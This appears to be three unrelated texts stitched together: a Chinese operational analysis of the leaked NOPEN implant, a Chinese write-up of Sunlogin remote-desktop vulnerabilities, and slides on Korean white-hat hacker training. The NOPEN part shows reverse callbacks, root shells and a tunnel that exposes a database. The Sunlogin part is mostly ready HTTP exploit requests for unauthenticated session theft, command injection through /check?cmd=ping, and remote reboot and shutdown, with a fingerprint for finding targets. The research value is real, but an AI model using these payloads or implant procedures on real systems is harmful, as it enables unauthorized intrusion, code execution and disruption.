GMT][localhost:21655 -> centos4x86.local.172.19.2.11:32754] [-pid] PID (PPID)         8072 (7980) -listen 2007 [03-17-22 06:12:38 GMT][localhost:23223 -> centos4x86.local.172.19.2.11:32754] [-listen 2007] Starting listener on port 2007 noclient: waiting for response from server... noclient: server successfully forked new process at PID 1509949440 ./noclient-3.3.2.3-linux-i386 -l 9999 -call 172.19.2.13 9999 [03-17-22 06:28:22 GMT][localhost:23223 -> centos4x86.local.172.19.2.11:32754] [-call 172.19.2.13 9999] Initiating callback to 172.19.2.13:9999 noclient: waiting for response from server... noclient: server successfully forked new process at PID 922746880 burn 执行退出后,如果只有一个服务端程序在运行,则删除服务端程序,进程退出。 远程服务端常用命令 主要是查看环境变量,进程列表,提权等。 elevate 应该是缺少关键程序。 ps 显示进程信息。 shell -burn [03-17-22 06:32:04 GMT][localhost:9999 -> centos4x86.local.172.19.2.11:32790] [-burn] To adjourn, type "BURN", otherwise return> BURN -elevate [03-19-22 02:14:43 GMT][localhost:47388 -> centos4x86.local.172.19.2.11:32754] [-elevate] -ps -H [03-19-22 02:16:01 GMT][localhost:47388 -> centos4x86.local.172.19.2.11:32754] [-ps -H] UID     PID PPID PGID ST STIME         COMM             CMD root      1    0    0 S 19Mar22 03:06 init             init [3] root      2    1    0 S 19Mar22 03:06 ksoftirqd/0        - root      3    1    0 S 19Mar22 03:06 events/0           - root      4    1    0 S 19Mar22 03:06 khelper            - root      5    1    0 S 19Mar22 03:06 kthread            - root      6    5    0 S 19Mar22 03:06 kacpid               - root     18    5    0 S 19Mar22 03:06 kblockd/0            - root     36    5    0 S 19Mar22 03:06 pdflush              - root     37    5    0 S 19Mar22 03:06 pdflush              - root     39    5    0 S 19Mar22 03:06 aio/0                - root    414    5    0 S 19Mar22 03:06 ata/0                - -shell /bin/bash [03-19-22 02:17:32 GMT][localhost:47388 -> centos4x86.local.172.19.2.11:32754] [-shell /bin/bash] Starting NOPEN sub-shell (/bin/bash) id&&pwd uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t /root/bvp47 在noclient生成一个shell,后续的操作都在这个shell里面的进行。 time nopen对时间非常敏感,里面有大量关于时间的函数,可能与环境检测有关,也与程序到期自动退出有 关。 status 显示连接状态。 getenv setenv -time [03-19-22 02:19:24 GMT][localhost:47388 -> centos4x86.local.172.19.2.11:32754] [-time] Local time according to time():         Fri Mar 18 22:19:24 2022 Local time in GMT:                     Sat Mar 19 03:19:24 2022 Remote time according to time():       Sat Mar 19 02:19:26 2022 Remote time in GMT:                     Sat Mar 19 07:19:26 2022 UTC_OFFSET=240 UTC_OFFSET_SECS=14402s UTC Offset (theirs - ours) is (+) 4h 0m 2s -status [03-19-22 02:21:08 GMT][localhost:47388 -> centos4x86.local.172.19.2.11:32754] [-status] Connection Bytes In / Out     8328/12039 (69%C) / 2771/1562 (177%C) Local Host:Port   localhost:47388 (127.0.0.1:47388) CRemote Host:Port  172.19.2.11:32754 (172.19.2.11:32754) Remote Host:Port   centos4x86.local:32754 (172.19.2.11:32754) Local NOPEN client       3.3.2.3 Date/Time         Sat Mar 19 02:21:08 UTC 2022 History           /home/hacker/test/../down/history/centos4x86.local.172.19.2.11 Command Out       /home/hacker/test/../down/cmdout/centos4x86.local.172.19.2.11-2022-03-19- 02:07:37 CWD               /home/hacker/test NHOME             /home/hacker/test/.. PID (PPID)         1019 (2817) Remote NOPEN server       3.3.0.1 (version mismatch, 3.3.0.1 != 3.3.2.3) WDIR               /root/bvp47 OS                 Linux 2.6.9-89.EL #1 Mon Jun 22 12:19:40 EDT 2009 i686 CWD               /root/bvp47 PID (PPID)         7847 (7030) 和本地变量的使用差不多。 gs 批量执行脚本命令。 在NHOME/etc目录下编写脚本,然后通过gs来执行。 这个脚本只是显示用法,在Linux\etc\目录下有大量的脚本,值得学习。 这个脚本的执行效果如下。 -setenv TARGET=nsa.org [03-19-22 02:22:43 GMT][localhost:47388 -> centos4x86.local.172.19.2.11:32754] [-setenv TARGET=nsa.org] TARGET=nsa.org -getenv [03-19-22 02:23:16 GMT][localhost:47388 -> centos4x86.local.172.19.2.11:32754] [-getenv] TARGET=nsa.org ping $TARGET [03-19-22 02:24:52 GMT][localhost:47388 -> centos4x86.local.172.19.2.11:32754] [ping $TARGET] ping: unknown host nsa.org cat ~/NHOME/etc/gs.auto #NOGS -lcd /current/down -nohist -lsh -nohist env | grep NOPEN ; echo;set | grep NOPEN -gs auto [04-01-22 06:45:23 GMT][localhost:53925 -> centos7x86.local.172.19.2.15:9999] [-gs auto] [04-01-22 06:45:23 GMT][localhost:53925 -> centos7x86.local.172.19.2.15:9999] [-lcd /current/down] /current/down [04-01-22 06:45:23 GMT][localhost:53925 -> centos7x86.local.172.19.2.15:9999] [-lsh env | grep NOPEN ; echo;set | grep NOPEN] NOPEN_CLIENTVER=3.1.0.1 NOPEN_SERVERINFO=Linux 3.10.0-1160.2.2.el7.centos.plus.i686 #1 SMP Mon Oct 26 11:56:29 UTC 2020 i686 NOPEN_RHOSTNAME=centos7x86.local.172.19.2.15 NOPEN_AUTOPORT=1025 NOPEN_MYPID=28709 NOPEN_MYLOG=/home/hacker/NHOME/down/cmdout/centos7x86.local.172.19.2.15-2022-04- 01-06:42:50 BASH_EXECUTION_STRING='env | grep NOPEN ; echo;set | grep NOPEN' NOPEN_AUTOPORT=1025 NOPEN_CLIENTVER=3.1.0.1 NOPEN_MYLOG=/home/hacker/NHOME/down/cmdout/centos7x86.local.172.19.2.15-2022-04- 01-06:42:50 NOPEN_MYPID=28709 NOPEN_RHOSTNAME=centos7x86.local.172.19.2.15 NOPEN_SERVERINFO='Linux 3.10.0-1160.2.2.el7.centos.plus.i686 #1 SMP Mon Oct 26 11:56:29 UTC 2020 i686' 可以看到NOPEN设置了大量环境变量,方便操作。 操作分析 为了进一步分析这个远控的功能,在泄露的文件中找到一组配对的文件,这样减少不必要的麻烦。文件 来自archive_files\morerats (2)\。 主要的目标是弄懂rat的操作手法,代码的实现逻辑。在操作方面,主要的问题是,服务端反向连接到客 户端,命令脚本的批量执行和隧道的综合利用。 服务端反向连接到客户端 noserver的启动参数,实现反向连接到noclient. 先启动客户端。 然后启动服务端。 这时就会反向连接到客户端。 sha1sum no* df946eb8a908f663cd6cf68db7e5d377f1076ce8 noclient-3.1.0.2- i686.pc.linux.gnu.redhat-ES c3d2d2705db03434525727901cd177e64894bf50 noserver-3.1.0.1- i686.pc.linux.gnu.redhat-ES file no* noclient-3.1.0.2-i686.pc.linux.gnu.redhat-ES: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.2.5, stripped noserver-3.1.0.1-i686.pc.linux.gnu.redhat-ES: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.2.5, stripped ./noclient-3.1.0.2-i686.pc.linux.gnu.redhat-ES -l 9999 NOPEN!                             v3.1.0.1 sh: scanner: command not found sh: ourtn: command not found sh: scripme: command not found Fri Apr 01 02:55:07 GMT 2022 NHOME: environment variable not set, assuming "NHOME=/home/hacker/test/.." NHOME=/home/hacker/test/.. Reading resource file "/home/hacker/test/../etc/norc"... ok TERM=screen Entering server mode Listening on *:9999... ok D="-s -C172.19.2.15 9999" ./noserver-3.1.0.1-i686.pc.linux.gnu.redhat-ES Accepted connection from 172.19.2.15:59938 Initiating RSA key exchange 这样反向连接建立,后续的操作与正向连接一样。 指定服务端口的正向连接 启动服务端 启动客户端 Generating random number... ok Initializing RC6... ok Sending random number... ok Receiving random number... ok Generating session key... 0x379916E6C6A90737E869E1FC05B52CF4 Sending first verify string... ok Receiving second verify string... ok Checking second verify string... ok RSA key exchange complete NOPEN server version... 3.1.0.1 Connection Bytes In / Out     226/119 (189%C) / 63/4 (1575%C) Local Host:Port   localhost:9999 (127.0.0.1:9999) Remote Host:Port   172.19.2.15:0 (172.19.2.15:0) Remote Host:Port   centos7x86.local:59938 (172.19.2.15:59938) Local NOPEN client       3.1.0.1 Date/Time         Fri Apr  1 02:56:16 UTC 2022 History Command Out CWD               /home/hacker/test NHOME             /home/hacker/test/.. PID (PPID)         977 (29861) Remote NOPEN server       3.1.0.1 WDIR               NOT SET OS                 Linux 3.10.0-1160.2.2.el7.centos.plus.i686 #1 SMP Mon Oct 26 11:56:29 UTC 2020 i686 CWD               /home/hacker/test PID (PPID)         1455 (11748) Reading resource file "/home/hacker/test/../etc/norc.linux"... /home/hacker/test/../etc/norc.linux: No such file or directory History loaded from "/home/hacker/test/../down/history/centos7x86.local.172.19.2.15"... ok Creating command output file "/home/hacker/test/../down/cmdout/centos7x86.local.172.19.2.15-2022-04-01- 02:56:16"... ok Lonely? Bored? Need advice? Maybe "-help" will show you the way. We are starting up our virtual autoport We are bound and ready to go on port 1026 D="-s -l9999" ./noserver-3.1.0.1-i686.pc.linux.gnu.redhat-ES ./noclient-3.1.0.2-i686.pc.linux.gnu.redhat-ES 172.19.2.15 9999 即可进入操作。 命令脚本的批量执行 作为一个远控程序,批量执行命令,批量管理服务端,是一个基本需求。 启动两个服务端。 然后在客户端执行操作。 脚本的内容如下。 这样就实现了批量巡检的功能,当然此处应该有个脚本来自动管理这些服务端。 autopot 这个功能未知,但是有一个字符串 "Read failed ditching gui",有可能存在一个图像控制端。 需要进一步分析。 incision 程序有字符串 "Entering INCISION mode" 但是木有弄清楚其使用方式,以及与dewdrop,tipoff的关联。 从代码看,就是劫持socket,然后进行操作,但是木有弄清楚具体的使用方式。 隧道的综合利用 隧道在内网渗透的重要性不言而喻,尽管前面在介绍隧道命令的时候,已经讲了如何使用隧道。 这里主要是根据常见使用场景,进行隧道搭建。 为了方便展示效果,这里仍然使用ncat进行演示。 因为noclient, noserver本书就可以生成shell。所以这里只介绍将内网端口映射到外网。 假定目标是把MySQL的端口映射出来,然后用客户端进行操作。 D="-s " ./noserver-3.1.0.1-i686.pc.linux.gnu.redhat-ES D="-s -l9999" ./noserver-3.1.0.1-i686.pc.linux.gnu.redhat-ES ./noclient-3.1.0.2-i686.pc.linux.gnu.redhat-ES -c "-gs /home/hacker/NHOME/etc/gs.auto" 172.19.2.15:9999 ./noclient-3.1.0.2-i686.pc.linux.gnu.redhat-ES -c "-gs /home/hacker/NHOME/etc/gs.auto" 172.19.2.14:32754 cat /home/hacker/NHOME/etc/gs.auto #NOGS -lcd /current/down -nohist -lsh -nohist env | grep NOPEN ; echo;set | grep NOPEN -exit -nohist 将端口转发出来。 这时已经将本地的端口与远端的端口映射起来。 mysql -u root -h 172.19.2.14 ERROR 1130 (HY000): Host '172.19.2.15' is not allowed to connect to this MySQL server -stun [04-01-22 08:40:51 GMT][localhost:33681 -> centos6x86.local.172.19.2.14:32754] [-stun] Usage: -stun toip toport [localport [srcport]] NO! centos6x86.local:/home/hacker/test>-stun localhost 3306 [04-01-22 08:41:32 GMT][localhost:33681 -> centos6x86.local.172.19.2.14:32754] [-stun localhost 3306] Listening on localhost:3306 (127.0.0.1:3306) Connecting to localhost:3306 (127.0.0.1:3306) Received local connection, contacting server local client closed remote client closed Should be synced up OK mysql -u root -h 172.19.2.15 Welcome to the MariaDB monitor. Commands end with ; or \g. Your MySQL connection id is 6 Server version: 5.1.73 Source distribution Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MySQL [(none)]> show databases; +--------------------+ | Database           | +--------------------+ | information_schema | | mysql             | | test               | +--------------------+ 3 rows in set (0.00 sec) MySQL [(none)]> use test; Database changed MySQL [test]> show tables; Empty set (0.00 sec) MySQL [test]> CREATE TABLE tb_employee (id INT(11), name VARCHAR(25), deptId INT(11), salary FLOAT ); Query OK, 0 rows affected (0.04 sec) MySQL [test]> show tables; +----------------+ | Tables_in_test | +----------------+ | tb_employee   | +----------------+ 这时就可以访问远端的数据库了。 elevate 提权是内网渗透的第一要素,但是作为隧道工具,入口点一般都不是root权限,所以整合提权模块,就 是非常必要。 并且里面的工具,许多是需要root权限,才能操作的。 但是这个命令,只是查看一下是否具有root权限,木有对应的提权操作。 这个C2如何进行提权,需要进一步研究。 对比分析 代码编写的比较利落,主要的亮点有木有使用公开的加密库,加密代码都是自己编写。 noserver的执行逻辑与Cobalt Strike的beacon基本一样,都是通过RSA生成会话密钥,然后加密会话通 信。 从整体上看,与CS的技术水平基本一样,但是领先了好多年。形成了一系列的工具集,并且在实践中, 拿下了一大批系统。 其实写一个noserver的替代程序,倒是不错的学习NSA技术的机会。 会话密钥生成 客户端主动连接服务端,其会话密钥的生成过程如下。 在反向连接的会话过程中,密钥生成过程如下。 1 row in set (0.00 sec) Initiating RSA key exchange Generating random number... ok Initializing RC6... ok Sending random number... ok Receiving random number... ok Generating session key... 0x98FC9781D28C0B6F330B7BF32285CE66 Sending first verify string... ok Receiving second verify string... ok Checking second verify string... ok RSA key exchange complete Entering server mode Listening on *:9999... ok Accepted connection from 172.19.2.15:59914 Initiating RSA key exchange Generating random number... ok Initializing RC6... ok Sending random number... ok Receiving random number... ok Generating session key... 0x485C6C7B65F7FE9B183EF2D427776B8F Sending first verify string... ok 对比一下,密钥生成的过程完全一样。 因为nopen的程序,都已删除程序符号信息,所以需要逆向才能确定具体的实现。 但是我找到了一个ish.v3程序,带符号信息,可以对比分析。 scaner 作为最常用的隧道配合工具之一,scaner的重要性不言而喻,nopen也带了一个自研的扫描器。在 Linux\bin\目录下,有scanner几个版本。 查看一下帮助。 Receiving second verify string... ok Checking second verify string... ok RSA key exchange complete NOPEN server version... 3.1.0.1 sha1sum scanner 4a9067f05e67335bc5d27a539b15f7dda0191941 scanner [hacker@centos7x86 test]$ file scanner scanner: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.2.5, stripped ./scanner -h ./scanner Version 3.6 Usage: ./scanner typeofscan IP_address Scan options:       winl   Scan for windows boxes       winn   Scan for windows names       xwin   Scan for Xwin folks       time   Scan for NTP folks         rpc   Scan for RPC folks       snmp1   Scan for SNMP version       snmp2   Scan for Sol version        echo   Scan for echo hosts       time2   Scan for daytime hosts       tftp   Scan for tftp hosts       tday   Scan for daytime hosts       ident   Scan ident       mail   Scan mail         ftp   Scan ftp     t_basic   Scan TCP port       http   Scan web     netbios   Does not work         dns   Scan for DNS       ripv1   Scan for RIP v1       ripv2   Scan for RIP v2         lpr   Scan for lpr   miniserv   Scan for Redflag Web   win_scan   Get windows version      telnet   Banner Telnet     finger   Banner finger         ssl   Scan for SSL stuff         ssh   Scan for SSH version       snmp3   Finnish Test Case SNMP     dtuname   DT uname test 提供了场景应用的扫描功能。 简单操作一下。 功能简单,使用简单,与nmap相比,差距很大。 但是该有的功能都有了。 ourtn     answer   Answerbook test       brpc   Larger RPC dump         x11   X11 test       xfont   X font server test     printer   Printer Test   speedlan   Speed Lan Test       imap   Imap test     t_mysql   Mysql TCP     mibiisa   Mibissa test           #   port other than above         all   (you are really cool)       sane   (you are really smart, all - snmp1 and snmp2) You are the weakest link, goodbye ./scanner sane 172.19.2.14 # scanning ip 172.19.2.14 # Scan for windows boxes # Scan for windows names # Scan for Xwin folks # Scan for NTP folks # Scan for RPC folks -- Packet from 172.19.2.14 to   172.19.2.15   program vers proto   port  service    100000    4   tcp    111    100000    3   tcp    111    100000    2   tcp    111    100000    4   udp    111    100000    3   udp    111    100000    2   udp    111    100024    1   udp  54850    100024    1   tcp  52634 -- # Scan for echo hosts # Scan for daytime hosts # Scan for tftp hosts # Does not work # Scan for DNS # Scan for RIP v2 adios certutil -hashfile ourtn sha1 SHA1 的 ourtn 哈希: 5b5fa41817db1c757643f4eeb43d110f1857daf8 CertUtil: -hashfile 命令成功完成。 ourtn是一个perl 4脚本,文件比较大,用来构建隧道。 因为程序木有跑起来,所以都是基于文件的分析。 这个程序的主要用途是建立隧道链,然后上传负载,比如启动tipoff/dewdrop,进行进一步的操作。 程序里面支持windows系统,但是木有看到对应的windows程序,需要进一步收集相关资料。 这个隧道支持的协议有tcp, udp, icmp。在网络协议利用方面,明显高出其他团队一大截。 从perl的版本可以看出,这是个老程序。说明这个C2有很长的积累时间。 通过利用不同的程序组合,实现了操作的序列化。降低了操作员的难度,节省了大量时间。 scripme scripme也是一个perl 4脚本,庆幸的是,可以运行起来。 certutil -hashfile scripme sha1 SHA1 的 scripme 哈希: b1b7ee5c0e5ee2a477acf39159980832aa6cde3f CertUtil: -hashfile 命令成功完成。 ./scripme -H Usage: scripme [options] [-X"other-xterm-args"] [# | -t wintype]   -H print this LONGER usage statement (-h is a shorter one)   -F This option should only be used by scrubhands or by other       automation scripts. With -F, the number and type of xterms       started are determined by scripme.* files in /current/etc.   -V show xterm commands executed to stdout   -k close xterm when its process is done   -d show but do not execute the xterm commands   -c call $EXPLOIT_SCRIPME via "sh -c ''" (this       is ignored unless -t wintype is used)   -X other-xterm-args can be any string of valid arguments to xterm       (see xterm(1) for valid arguments), including the hyphen(s)   -s use the size from some other window for this new one. User is       prompted to click the window whose size we want.   -t bring up only one window of type wintype, which can be either       TCPDUMP or SOMETHINGELSE. If SOMETHINGELSE, the environment       variable EXPLOIT_SCRIPME must contain the desired command line,       and the script name with script.somethingelse.$$. (Choice of       string "SOMETHINGELSE" up to user.) scripme -F brings up 0 windows scripted in /current/down/. One running "tcpdump -n -n", on the environment variable $INTERFACE, scripted to tcpdump.raw, and the others running bash, scripted to script.$$. Or, 启动一个终端,启动tcpdum,抓取网络数据,然后执行操作脚本。 总结 nopen是NSA的方程式工具集的一个重要操作平台,提供了unix类型下的C2服务器和控制端功能,是整 个工具的核心。通过C2框架,来加载其他攻击载荷,建立内网渗透通道。 从其庞杂的辅助程序可以看出,这个C2已经运行了很长时间,有相当多的实战使用经验。 这个C2的技术水平与msf基本接近,功能各有所长。 msf强在框架的模块化设计。 nopen强在加密设计,网络协议利用,环境检测。 值得注意的是这个C2把隧道技术作为内建的功能,而不是采用外挂隧道软件,这样的好处就是自带统一 的加密功能和操作界面,快速进行内网渗透。 这个C2虽然不支持脚本语言,但是支持批量命令处理,方便管理多个服务端。 nopen对文件的日期属性的设置,很不错,可以有效的隐藏自己。 中国菜刀也有这个功能:-) nopen是一个严谨的C2平台。 参考 1. 信息安全摘要 (cverc.org.cn) 2. 从国家计算机病毒应急处理中心披露的NSA网络间谍武器,看美国网络作战布局 - 安全客,安全资 讯平台 (anquanke.com) 3. x0rz/EQGRP: Decrypted content of eqgrp-auction-file.tar.xz (github.com) 4. ShadowMove套接字劫持技术,巧妙隐藏与C2的连接 - FreeBuf网络安全行业门户 5. 【恶意文件通告】NOPEN 恶意文件分析 (qq.com) 6. 从“NOPEN”远控木马浮出水面看美方网络攻击装备体系 (antiy.cn) 7. if the optional "#" argument is used, # scripted bash windows. (# is ignored if it is greater than 20.) If your op is built with the file /current/etc/scripme.override, it can contain a table of your preferences for window location, size, color, etc. See /current/etc/scripme.example to design your own .override file. scripme version 2.0.2.4
pdf
测试程序版本为 11.0.0.33162 ,官网目前只开放12.5版本,但是可以遍历下载ID进行下载 001 程序详情 向日葵为C++编写,使用UPX3.X加壳故此分析前需要进行脱壳处理(github上有UPX项目, 可以直接脱) 此外向日葵在启动的时候会随机启动一个4W+高位端口,具体在 sub_140E0AAE8 可看到 社会孙在视频中有一段疑似session的字符串 根据这段疑似 session 的关键字在向日葵一次正常远程的日志中找到了关键字 CID 002 根据日志找session 随后载入IDA,对CID关键字进行搜索 找到3个函数存在CID关键字字符串 sub_140E20938 、 sub_140E1C954 、 sub_140E1A1F4 往上跟发现分别对应接口 /cgi-bin/rpc 和 /cgi-bin/login.cgi 其中在函数 sub_140E1C954 对应接口功能 /cgi-bin/rpc 中,传入如下参数即可在未授权的 情况下获取到有效session POST /cgi-bin/rpc HTTP/1.1 Host: 10.100.100.5:49670 Proxy-Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: SLRC/11.0.0.33162 (Windows,x64)Chrome/98.0.4758.82 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Content-Type: application/x-www-form-urlencoded Content-Length: 62 action=verify-haras 在知道被控端的验证码和识别码的情况下传入如下参数可获取到session 在知道主机的帐密的情况下通过 /cgi-bin/login.cgi 接口传入如下参数可获取到session 并返回设备的公网、内网地址等信息,该接口同时可用作暴力破解 POST /cgi-bin/login.cgi HTTP/1.1 Host: 10.100.100.5:49670 Proxy-Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Content-Type: application/x-www-form-urlencoded Content-Length: 52 assist参数拼接导致 我这边没有成功,有思路的师傅可以交流下 act=login&username=admin&password=admin&hostname=a 003 RCE-trick POST /assist HTTP/1.1 Host: 10.100.100.5:49496 Proxy-Connection: close Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Cookie: CID=dmPqDgSa8jOYgp1Iu1U7l1HbRTVJwZL3 connection: close Accept-Language: zh-CN,zh;q=0.9 Content-Type: application/x-www-form-urlencoded Content-Length: 110 fastcode=888888+||+"aaa"+%26%26+||+c:\windows\system32\cmd.exe+/c+whoami +>+C:\\Users\\__SUNLOGIN_USER__\\1.txt 004 RCE1 ping命令拼接导致 GET /check?cmd=ping%20127.0.0.1%20|%20cmd%20/c%20echo%20whoami%00 HTTP/1.1 Host: 10.100.100.5:49496 Proxy-Connection: close Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Cookie: CID=dmPqDgSa8jOYgp1Iu1U7l1HbRTVJwZL3 connection: close Accept-Language: zh-CN,zh;q=0.9 GET /check? cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+ net+user HTTP/1.1 Host: 10.100.100.5:49496 Proxy-Connection: close Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Cookie: CID=dmPqDgSa8jOYgp1Iu1U7l1HbRTVJwZL3 connection: close Accept-Language: zh-CN,zh;q=0.9 GET /check?cmd=ping../../../SysWOW64/cmd.exe+/c+net+user HTTP/1.1 Host: 10.100.100.5:49496 Proxy-Connection: close Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Cookie: CID=dmPqDgSa8jOYgp1Iu1U7l1HbRTVJwZL3 connection: close Accept-Language: zh-CN,zh;q=0.9 005 远程重启 GET /control.cgi?__mode=control&act=reboot HTTP/1.1 Host: 10.100.100.5:49934 Proxy-Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 低版本向日葵特征` body="Verication failure" && body="false" && header="Cache- Control: no-cache" && header="Content-Length: 46" && header="Content-Type: application/json"`` 向日葵还有很多接口有兴趣的师傅可以继续跟进看看,我先卸载了。。 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Cookie: CID=lzKrTiUH5Z7GagluSTocMmHBAF9Pxz75 Accept-Language: zh-CN,zh;q=0.9 006 远程关机 GET /control.cgi?__mode=control&act=shutdown HTTP/1.1 Host: 10.100.100.5:49934 Proxy-Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Cookie: CID=lzKrTiUH5Z7GagluSTocMmHBAF9Pxz75 Accept-Language: zh-CN,zh;q=0.9 007指纹信息 后记 login express_login cgi-bin/login.cgi log cgi-bin/rpc transfer cloudconfig getfastcode assist projection getaddress sunlogin-tools control desktop.list check micro-live/enable screenshots httpfile
pdf
How South Korea Makes White-hat Hackers # 2013 edition! beist (Korea University, GrayHash) email: [email protected] web: http://grayhash.com About me SeungJin “Beist” Lee Ms-Phd course at Korea University (CIST IAS LAB) Member of advisory council for Cyber Command in Korea Principal Security Consultant at GrayHash Consulting for big companies in Korea Many wins at hacking contests/Run hacking contests/conferences Talk at SYSCAN, CANSECWEST, TROOPERS, SECUINSIDE, etc Hunting bugs is my favorite hobby Intro This is not a tech talk Very easy talk, so, relax This talk doesn’t say everything about the situation in Korea But tried to put together as much as i can A bit of security scene history in Korea How we get inspired How we make white-hat hackers This is an extended version of AVTOKYO talk i gave at When the scene gets activated People say the scene has been started since the end of 90’ There were 2 big events at that time Elite hackers at top universities (Postech and Kaist) They were hacking each other and some went to jail This was issued even on the media Hackerslab (Wargame site) Most underground hackers started from the site First well-known infosec IRC in Korea When the scene gets activated From 2000, there have been underground teams Hackerschool BEISTLAB Wowhacker Null@root No illegal stuff, they teach and train next generation Many of them are now high-ups and still working in this field They really do for the community When the scene gets activated Industry around 2000 There were many security products Mostly, IDS, Firewall and Secure OS But penetration testing really made infosec guys As it’s “hack” Pen-testing business was really messed up at that time Companies stole others’ contracts by hacking Why the scene is motivated? (What happened?) Motivations to Government Industry The community Why the scene is motivated? (What happened?) Government We have a very special situation South Korea vs North Korea The government started to find good hackers They (secretly) supported the community But most helpful move by them was pushing industry to spend money for information security Why the scene is motivated? (What happened?) Industry We have to say “money” can do a lot of things Some big (like financial) companies realized that cyber attack is real Auction, SK Communications, HyunDae Card and +++ The strict law made them to spend money for security (Will cover about this later) Why the scene is motivated? (What happened?) Industry So, they spent a ton of money and hired many infosec guys Having regular penetration testing is kind of mandatory Which means security firms are not going to starve This says everything: we have over 200 security companies in this small country Why the scene is motivated? (What happened?) The community Fortunately, we’ve got hacking competitions from 1999 Even though there was (still) a language barrier, Korean hackers were really passionated on CTF Defcon CTF was a fire Before 2006, Defcon CTF was a dream for Korean hackers Anyway, they were excited, and made it to finals Why the scene is motivated? (What happened?) The community And the community was inspired by researches from world class hackers RTL by Solar designer, IIS 0days by Chinese hackers and a lot of cool stuff They tried to make something themselves What they are doing We can categorize as Community Industry Academy Government Community We have over 10 hacking contests/conferences per year Majors: Secuinside, Codegate, ISEC, KISA Most of them are involved with the community Companies pay for run and the community helps Community http://hackerschool.org This site really does a lot of cool things for the community Cartoon based lecture For example) http://bit.ly/SP0enX Hacking camp for elementary students Hacking contest for women Article) http://t.co/uZMWf2rV Community KOSEC Cool local meet-up (like NYSEC in NYC) Hang out and chill Sometimes talks included Every 1 or 2 month 40~50 people to come (100 was maximum) Charlie Miller was here! Community Try hard to do for next generation The underground teams find young guys And they train them about security Also, they emphasize ethics They think they have to give back to the community Example) beistlab got $10,000 and spent back for making a hacking contest (JFF) Industry As we mentioned, we have over 200 security firms They support conferences and hackers’ activity Example) LAW&TEK supports HARU for hackerspace One good thing is that young guys can work for security companies instead of going to army Industry They try to make something good for the community with hackers Example) SECUSIDE by KOSCOM and HARU http://secuinside.com KOSCOM is a financial company They spend big money for running the conference/CTF And the community, called HARU, actually runs Win Win (Popularity for KOSCOM and Fun for HARU) Industry POC Conference (http://www.powerofcommunity.net/) HNS company It was started by hackers It seems it wants to be like a Korea Defcon CODEGATE Conference Softforum company It is fancy and a big conference High up guys at the government involved Academy As information security is getting more and more important, universities start to have infosec related majors Korea university Seoul women university Sejong university Soonchunhyang university And more than 10 schools Academy Korea university is a somewhat special case They have MOU with Cyber command (Sound scary?) Only top 1% SAT guys go there All students of cyber warfare major at Korea university get full scholarship And they go to Army after graduating (For 5 years) Which means they’ll be specialized at the field Their curriculum and students are secret Academy Like in Taiwan, if students want to get into good school, they have to get good SAT score But from around middle of 2000’, we have seen that they can get in if they’re really good at Hacking Schools give students advantages if they have awards from hacking contests This is a big fire to encourage students (even their parents!) to learn about computer security Academy At school, over 30 information security clubs in Korea They are extremely activated Making articles and joining/running infosec events Some clubs are famous at the world class CTFs GoN (KAIST), PLUS (Postech) Government All governments are eager to hire people Lack of skilled hackers Usually, it is not 